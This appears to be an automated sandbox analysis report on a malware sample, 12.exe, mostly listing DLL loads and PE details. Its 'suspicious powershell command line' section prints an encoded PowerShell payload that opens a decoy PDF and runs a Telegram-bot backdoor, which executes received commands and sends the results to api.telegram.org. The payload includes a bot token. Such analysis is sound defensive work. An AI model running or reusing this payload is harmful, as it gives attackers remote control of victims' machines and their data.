Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 12.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 12.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 12.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 12.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 12.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 12.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 12.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 12.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: 12.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.3965066226.000001C861FC2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ConsoleApplication5\x64\Release\ConsoleApplication5.pdb" source: 12.exe
Source:	Binary string: C:\Users\Admin\source\repos\ConsoleApplication5\x64\Release\ConsoleApplication5.pdb source: 12.exe

Source: 12.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 12.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 12.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 12.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 12.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\12.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABV
Source: C:\Users\user\Desktop\12.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABV			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848E62320 push eax; iretd		5_2_00007FF848E6233D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848E600BD pushad ; iretd		5_2_00007FF848E600C1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
